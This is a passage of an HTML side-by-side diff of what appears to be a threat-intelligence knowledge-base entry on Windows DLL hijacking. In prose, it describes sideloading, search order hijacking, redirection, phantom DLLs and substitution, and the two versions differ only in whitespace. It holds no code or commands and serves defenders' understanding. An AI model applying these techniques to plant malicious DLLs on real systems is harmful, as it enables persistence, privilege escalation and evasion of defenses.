nowrap=\"nowrap\">rder&nbsp;to&nbsp;achieve&nbsp;persistence,&nbsp;escalate&nbsp;privileges,&nbsp;and&nbsp;evade&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">defenses.&nbsp;DLLs&nbsp;are&nbsp;libraries&nbsp;that&nbsp;contain&nbsp;code&nbsp;and&nbsp;data&nbsp;that</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">defenses.&nbsp;DLLs&nbsp;are&nbsp;libraries&nbsp;that&nbsp;contain&nbsp;code&nbsp;and&nbsp;data&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;be&nbsp;simultaneously&nbsp;utilized&nbsp;by&nbsp;multiple&nbsp;programs.&nbsp;While&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;be&nbsp;simultaneously&nbsp;utilized&nbsp;by&nbsp;multiple&nbsp;programs.&nbsp;While&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DLLs&nbsp;are&nbsp;not&nbsp;malicious&nbsp;by&nbsp;nature,&nbsp;they&nbsp;can&nbsp;be&nbsp;abused&nbsp;through</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DLLs&nbsp;are&nbsp;not&nbsp;malicious&nbsp;by&nbsp;nature,&nbsp;they&nbsp;can&nbsp;be&nbsp;abused&nbsp;through</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;mechanisms&nbsp;such&nbsp;as&nbsp;side-loading,&nbsp;hijacking&nbsp;search&nbsp;order,&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;mechanisms&nbsp;such&nbsp;as&nbsp;side-loading,&nbsp;hijacking&nbsp;search&nbsp;order,&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;phantom&nbsp;DLL&nbsp;hijacking.(Citation:&nbsp;unit&nbsp;42)&nbsp;&nbsp;Specific&nbsp;ways&nbsp;D</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;phantom&nbsp;DLL&nbsp;hijacking.(Citation:&nbsp;unit&nbsp;42)&nbsp;&nbsp;Specific&nbsp;ways&nbsp;D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LLs&nbsp;are&nbsp;abused&nbsp;by&nbsp;adversaries&nbsp;include:&nbsp;&nbsp;###&nbsp;DLL&nbsp;Sideloading&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LLs&nbsp;are&nbsp;abused&nbsp;by&nbsp;adversaries&nbsp;include:&nbsp;&nbsp;###&nbsp;DLL&nbsp;Sideloading&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;side</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;side</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-loading&nbsp;DLLs.&nbsp;Side-loading&nbsp;involves&nbsp;hijacking&nbsp;which&nbsp;DLL&nbsp;a&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-loading&nbsp;DLLs.&nbsp;Side-loading&nbsp;involves&nbsp;hijacking&nbsp;which&nbsp;DLL&nbsp;a&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rogram&nbsp;loads&nbsp;by&nbsp;planting&nbsp;and&nbsp;then&nbsp;invoking&nbsp;a&nbsp;legitimate&nbsp;appl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rogram&nbsp;loads&nbsp;by&nbsp;planting&nbsp;and&nbsp;then&nbsp;invoking&nbsp;a&nbsp;legitimate&nbsp;appl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ication&nbsp;that&nbsp;executes&nbsp;their&nbsp;payload(s).&nbsp;&nbsp;Side-loading&nbsp;positi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ication&nbsp;that&nbsp;executes&nbsp;their&nbsp;payload(s).&nbsp;&nbsp;Side-loading&nbsp;positi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;both&nbsp;the&nbsp;victim&nbsp;application&nbsp;and&nbsp;malicious&nbsp;payload(s)&nbsp;alo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;both&nbsp;the&nbsp;victim&nbsp;application&nbsp;and&nbsp;malicious&nbsp;payload(s)&nbsp;alo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ngside&nbsp;each&nbsp;other.&nbsp;Adversaries&nbsp;likely&nbsp;use&nbsp;side-loading&nbsp;as&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ngside&nbsp;each&nbsp;other.&nbsp;Adversaries&nbsp;likely&nbsp;use&nbsp;side-loading&nbsp;as&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">means&nbsp;of&nbsp;masking&nbsp;actions&nbsp;they&nbsp;perform&nbsp;under&nbsp;a&nbsp;legitimate,&nbsp;tr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">means&nbsp;of&nbsp;masking&nbsp;actions&nbsp;they&nbsp;perform&nbsp;under&nbsp;a&nbsp;legitimate,&nbsp;tr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">usted,&nbsp;and&nbsp;potentially&nbsp;elevated&nbsp;system&nbsp;or&nbsp;software&nbsp;process.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">usted,&nbsp;and&nbsp;potentially&nbsp;elevated&nbsp;system&nbsp;or&nbsp;software&nbsp;process.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Benign&nbsp;executables&nbsp;used&nbsp;to&nbsp;side-load&nbsp;payloads&nbsp;may&nbsp;not&nbsp;be&nbsp;fla</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Benign&nbsp;executables&nbsp;used&nbsp;to&nbsp;side-load&nbsp;payloads&nbsp;may&nbsp;not&nbsp;be&nbsp;fla</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gged&nbsp;during&nbsp;delivery&nbsp;and/or&nbsp;execution.&nbsp;Adversary&nbsp;payloads&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gged&nbsp;during&nbsp;delivery&nbsp;and/or&nbsp;execution.&nbsp;Adversary&nbsp;payloads&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;also&nbsp;be&nbsp;encrypted/packed&nbsp;or&nbsp;otherwise&nbsp;obfuscated&nbsp;until&nbsp;loa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;also&nbsp;be&nbsp;encrypted/packed&nbsp;or&nbsp;otherwise&nbsp;obfuscated&nbsp;until&nbsp;loa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ded&nbsp;into&nbsp;the&nbsp;memory&nbsp;of&nbsp;the&nbsp;trusted&nbsp;process.&nbsp;&nbsp;Adversaries&nbsp;may</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ded&nbsp;into&nbsp;the&nbsp;memory&nbsp;of&nbsp;the&nbsp;trusted&nbsp;process.&nbsp;&nbsp;Adversaries&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;also&nbsp;side-load&nbsp;other&nbsp;packages,&nbsp;such&nbsp;as&nbsp;BPLs&nbsp;(Borland&nbsp;Packag</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;also&nbsp;side-load&nbsp;other&nbsp;packages,&nbsp;such&nbsp;as&nbsp;BPLs&nbsp;(Borland&nbsp;Packag</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Library).(Citation:&nbsp;kroll&nbsp;bpl)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;chain&nbsp;DLL&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Library).(Citation:&nbsp;kroll&nbsp;bpl)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;chain&nbsp;DLL&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sideloading&nbsp;multiple&nbsp;times&nbsp;to&nbsp;fragment&nbsp;functionality&nbsp;hinderi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sideloading&nbsp;multiple&nbsp;times&nbsp;to&nbsp;fragment&nbsp;functionality&nbsp;hinderi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;analysis.&nbsp;Adversaries&nbsp;using&nbsp;multiple&nbsp;DLL&nbsp;files&nbsp;can&nbsp;split&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;analysis.&nbsp;Adversaries&nbsp;using&nbsp;multiple&nbsp;DLL&nbsp;files&nbsp;can&nbsp;split&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;loader&nbsp;functions&nbsp;across&nbsp;different&nbsp;DLLs,&nbsp;with&nbsp;a&nbsp;main&nbsp;DLL&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;loader&nbsp;functions&nbsp;across&nbsp;different&nbsp;DLLs,&nbsp;with&nbsp;a&nbsp;main&nbsp;DLL&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loading&nbsp;the&nbsp;separated&nbsp;export&nbsp;functions.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Virus&nbsp;Bul</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loading&nbsp;the&nbsp;separated&nbsp;export&nbsp;functions.(Citation:&nbsp;Virus&nbsp;Bull</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">letin)&nbsp;Spreading&nbsp;loader&nbsp;functions&nbsp;across&nbsp;multiple&nbsp;DLLs&nbsp;makes</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etin)&nbsp;Spreading&nbsp;loader&nbsp;functions&nbsp;across&nbsp;multiple&nbsp;DLLs&nbsp;makes&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;analysis&nbsp;harder,&nbsp;since&nbsp;all&nbsp;files&nbsp;must&nbsp;be&nbsp;collected&nbsp;to&nbsp;fully</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">analysis&nbsp;harder,&nbsp;since&nbsp;all&nbsp;files&nbsp;must&nbsp;be&nbsp;collected&nbsp;to&nbsp;fully&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;understand&nbsp;the&nbsp;malware\u2019s&nbsp;behavior.&nbsp;&nbsp;Another&nbsp;method&nbsp;implemen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">understand&nbsp;the&nbsp;malware\u2019s&nbsp;behavior.&nbsp;&nbsp;Another&nbsp;method&nbsp;implement</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;a&nbsp;\u201cloader-for-a-loader\u201d,&nbsp;where&nbsp;a&nbsp;malicious&nbsp;DLL\u2019s&nbsp;sole&nbsp;rol</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;a&nbsp;\u201cloader-for-a-loader\u201d,&nbsp;where&nbsp;a&nbsp;malicious&nbsp;DLL\u2019s&nbsp;sole&nbsp;role</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;is&nbsp;to&nbsp;load&nbsp;a&nbsp;second&nbsp;DLL&nbsp;(or&nbsp;a&nbsp;chain&nbsp;of&nbsp;DLLs)&nbsp;that&nbsp;contain&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;to&nbsp;load&nbsp;a&nbsp;second&nbsp;DLL&nbsp;(or&nbsp;a&nbsp;chain&nbsp;of&nbsp;DLLs)&nbsp;that&nbsp;contain&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;real&nbsp;payload.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Sophos)&nbsp;&nbsp;###&nbsp;DLL&nbsp;Search&nbsp;Order&nbsp;H</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;real&nbsp;payload.(Citation:&nbsp;Sophos)&nbsp;&nbsp;###&nbsp;DLL&nbsp;Search&nbsp;Order&nbsp;Hij</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ijacking&nbsp;Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payload</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">acking&nbsp;Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;by&nbsp;hijacking&nbsp;the&nbsp;search&nbsp;order&nbsp;that&nbsp;Windows&nbsp;uses&nbsp;to&nbsp;load&nbsp;DL</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">by&nbsp;hijacking&nbsp;the&nbsp;search&nbsp;order&nbsp;that&nbsp;Windows&nbsp;uses&nbsp;to&nbsp;load&nbsp;DLLs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Ls.&nbsp;This&nbsp;search&nbsp;order&nbsp;is&nbsp;a&nbsp;sequence&nbsp;of&nbsp;special&nbsp;and&nbsp;standard&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;This&nbsp;search&nbsp;order&nbsp;is&nbsp;a&nbsp;sequence&nbsp;of&nbsp;special&nbsp;and&nbsp;standard&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">search&nbsp;locations&nbsp;that&nbsp;a&nbsp;program&nbsp;checks&nbsp;when&nbsp;loading&nbsp;a&nbsp;DLL.&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">arch&nbsp;locations&nbsp;that&nbsp;a&nbsp;program&nbsp;checks&nbsp;when&nbsp;loading&nbsp;a&nbsp;DLL.&nbsp;An&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;adversary&nbsp;can&nbsp;plant&nbsp;a&nbsp;trojan&nbsp;DLL&nbsp;in&nbsp;a&nbsp;directory&nbsp;that&nbsp;will&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;can&nbsp;plant&nbsp;a&nbsp;trojan&nbsp;DLL&nbsp;in&nbsp;a&nbsp;directory&nbsp;that&nbsp;will&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;prioritized&nbsp;by&nbsp;the&nbsp;DLL&nbsp;search&nbsp;order&nbsp;over&nbsp;the&nbsp;location&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;prioritized&nbsp;by&nbsp;the&nbsp;DLL&nbsp;search&nbsp;order&nbsp;over&nbsp;the&nbsp;location&nbsp;of&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;legitimate&nbsp;library.&nbsp;This&nbsp;will&nbsp;cause&nbsp;Windows&nbsp;to&nbsp;load&nbsp;the&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">legitimate&nbsp;library.&nbsp;This&nbsp;will&nbsp;cause&nbsp;Windows&nbsp;to&nbsp;load&nbsp;the&nbsp;mali</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">licious&nbsp;DLL&nbsp;when&nbsp;it&nbsp;is&nbsp;called&nbsp;for&nbsp;by&nbsp;the&nbsp;victim&nbsp;program.(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;DLL&nbsp;when&nbsp;it&nbsp;is&nbsp;called&nbsp;for&nbsp;by&nbsp;the&nbsp;victim&nbsp;program.(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;unit&nbsp;42)&nbsp;&nbsp;###&nbsp;DLL&nbsp;Redirection&nbsp;Adversaries&nbsp;may&nbsp;directl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;unit&nbsp;42)&nbsp;&nbsp;###&nbsp;DLL&nbsp;Redirection&nbsp;Adversaries&nbsp;may&nbsp;directly&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;modify&nbsp;the&nbsp;search&nbsp;order&nbsp;via&nbsp;DLL&nbsp;redirection,&nbsp;which&nbsp;after&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">modify&nbsp;the&nbsp;search&nbsp;order&nbsp;via&nbsp;DLL&nbsp;redirection,&nbsp;which&nbsp;after&nbsp;bei</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eing&nbsp;enabled&nbsp;(in&nbsp;the&nbsp;Registry&nbsp;or&nbsp;via&nbsp;the&nbsp;creation&nbsp;of&nbsp;a&nbsp;redir</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;enabled&nbsp;(in&nbsp;the&nbsp;Registry&nbsp;or&nbsp;via&nbsp;the&nbsp;creation&nbsp;of&nbsp;a&nbsp;redirec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ection&nbsp;file)&nbsp;may&nbsp;cause&nbsp;a&nbsp;program&nbsp;to&nbsp;load&nbsp;a&nbsp;DLL&nbsp;from&nbsp;a&nbsp;differ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;file)&nbsp;may&nbsp;cause&nbsp;a&nbsp;program&nbsp;to&nbsp;load&nbsp;a&nbsp;DLL&nbsp;from&nbsp;a&nbsp;differen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent&nbsp;location.(Citation:&nbsp;Microsoft&nbsp;redirection)(Citation:&nbsp;Mic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;location.(Citation:&nbsp;Microsoft&nbsp;redirection)(Citation:&nbsp;Micro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rosoft&nbsp;-&nbsp;manifests/assembly)&nbsp;&nbsp;###&nbsp;Phantom&nbsp;DLL&nbsp;Hijacking&nbsp;Adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">soft&nbsp;-&nbsp;manifests/assembly)&nbsp;&nbsp;###&nbsp;Phantom&nbsp;DLL&nbsp;Hijacking&nbsp;Advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;leverage&nbsp;phantom&nbsp;DLL&nbsp;hijacking&nbsp;by&nbsp;targeting&nbsp;refe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;leverage&nbsp;phantom&nbsp;DLL&nbsp;hijacking&nbsp;by&nbsp;targeting&nbsp;refere</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rences&nbsp;to&nbsp;non-existent&nbsp;DLL&nbsp;files.&nbsp;They&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;load&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nces&nbsp;to&nbsp;non-existent&nbsp;DLL&nbsp;files.&nbsp;They&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;load&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">heir&nbsp;own&nbsp;malicious&nbsp;DLL&nbsp;by&nbsp;planting&nbsp;it&nbsp;with&nbsp;the&nbsp;correct&nbsp;name&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ir&nbsp;own&nbsp;malicious&nbsp;DLL&nbsp;by&nbsp;planting&nbsp;it&nbsp;with&nbsp;the&nbsp;correct&nbsp;name&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;the&nbsp;location&nbsp;of&nbsp;the&nbsp;missing&nbsp;module.(Citation:&nbsp;Hexacorn&nbsp;DL</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;location&nbsp;of&nbsp;the&nbsp;missing&nbsp;module.(Citation:&nbsp;Hexacorn&nbsp;DLL&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">L&nbsp;Hijacking)(Citation:&nbsp;Hijack&nbsp;DLLs&nbsp;CrowdStrike)&nbsp;&nbsp;###&nbsp;DLL&nbsp;Sub</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Hijacking)(Citation:&nbsp;Hijack&nbsp;DLLs&nbsp;CrowdStrike)&nbsp;&nbsp;###&nbsp;DLL&nbsp;Subst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stitution&nbsp;Adversaries&nbsp;may&nbsp;target&nbsp;existing,&nbsp;valid&nbsp;DLL&nbsp;files&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itution&nbsp;Adversaries&nbsp;may&nbsp;target&nbsp;existing,&nbsp;valid&nbsp;DLL&nbsp;files&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;substitute&nbsp;them&nbsp;with&nbsp;their&nbsp;own&nbsp;malicious&nbsp;DLLs,&nbsp;planting&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;substitute&nbsp;them&nbsp;with&nbsp;their&nbsp;own&nbsp;malicious&nbsp;DLLs,&nbsp;planting&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hem&nbsp;with&nbsp;the&nbsp;same&nbsp;name&nbsp;and&nbsp;in&nbsp;the&nbsp;same&nbsp;location&nbsp;as&nbsp;the&nbsp;valid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;with&nbsp;the&nbsp;same&nbsp;name&nbsp;and&nbsp;in&nbsp;the&nbsp;same&nbsp;location&nbsp;as&nbsp;the&nbsp;valid&nbsp;D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;DLL&nbsp;file.(Citation:&nbsp;Wietze&nbsp;Beukema&nbsp;DLL&nbsp;Hijacking)&nbsp;&nbsp;Programs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LL&nbsp;file.(Citation:&nbsp;Wietze&nbsp;Beukema&nbsp;DLL&nbsp;Hijacking)&nbsp;&nbsp;Programs&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;that&nbsp;fall&nbsp;victim&nbsp;to&nbsp;DLL&nbsp;hijacking&nbsp;may&nbsp;appear&nbsp;to&nbsp;behave&nbsp;norm</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;fall&nbsp;victim&nbsp;to&nbsp;DLL&nbsp;hijacking&nbsp;may&nbsp;appear&nbsp;to&nbsp;behave&nbsp;normal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ally&nbsp;because&nbsp;malicious&nbsp;DLLs&nbsp;may&nbsp;be&nbsp;configured&nbsp;to&nbsp;also&nbsp;load&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;because&nbsp;malicious&nbsp;DLLs&nbsp;may&nbsp;be&nbsp;configured&nbsp;to&nbsp;also&nbsp;load&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;legitimate&nbsp;DLLs&nbsp;they&nbsp;were&nbsp;meant&nbsp;to&nbsp;replace,&nbsp;evading&nbsp;defen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;legitimate&nbsp;DLLs&nbsp;they&nbsp;were&nbsp;meant&nbsp;to&nbsp;replace,&nbsp;evading&nbsp;defense</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ses.&nbsp;&nbsp;Remote&nbsp;DLL&nbsp;hijacking&nbsp;can&nbsp;occur&nbsp;when&nbsp;a&nbsp;program&nbsp;sets&nbsp;its</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;&nbsp;Remote&nbsp;DLL&nbsp;hijacking&nbsp;can&nbsp;occur&nbsp;when&nbsp;a&nbsp;program&nbsp;sets&nbsp;its&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;current&nbsp;directory&nbsp;to&nbsp;a&nbsp;remote&nbsp;location,&nbsp;such&nbsp;as&nbsp;a&nbsp;Web&nbsp;share</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urrent&nbsp;directory&nbsp;to&nbsp;a&nbsp;remote&nbsp;location,&nbsp;such&nbsp;as&nbsp;a&nbsp;Web&nbsp;share,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;before&nbsp;loading&nbsp;a&nbsp;DLL.(Citation:&nbsp;dll&nbsp;pre&nbsp;load&nbsp;owasp)(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">before&nbsp;loading&nbsp;a&nbsp;DLL.(Citation:&nbsp;dll&nbsp;pre&nbsp;load&nbsp;owasp)(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 